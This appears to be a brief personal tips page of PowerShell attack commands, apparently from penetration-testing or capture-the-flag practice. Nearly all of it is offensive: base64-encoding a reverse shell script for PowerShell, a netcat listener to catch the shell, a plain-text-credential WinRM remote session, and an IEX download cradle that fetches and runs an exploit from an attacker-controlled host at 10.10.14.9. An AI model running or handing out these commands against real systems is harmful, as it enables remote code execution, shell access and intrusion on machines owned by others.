Categorie├źn
Powershell tips Uncategorized

Powershell

Encode BASE64

  • cat reverse.ps1 | iconv -t UTF-16LE | base64 -w0
  • nc -lvnp 9001 (listener)
  • $username = ‘username’
  • $password = ‘password’
  • $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
  • $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
  • enter-pssession -computername x.x.x.x -Port 5985 -credential $credential

*powershell “IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.9:8000/exploit.html‘)”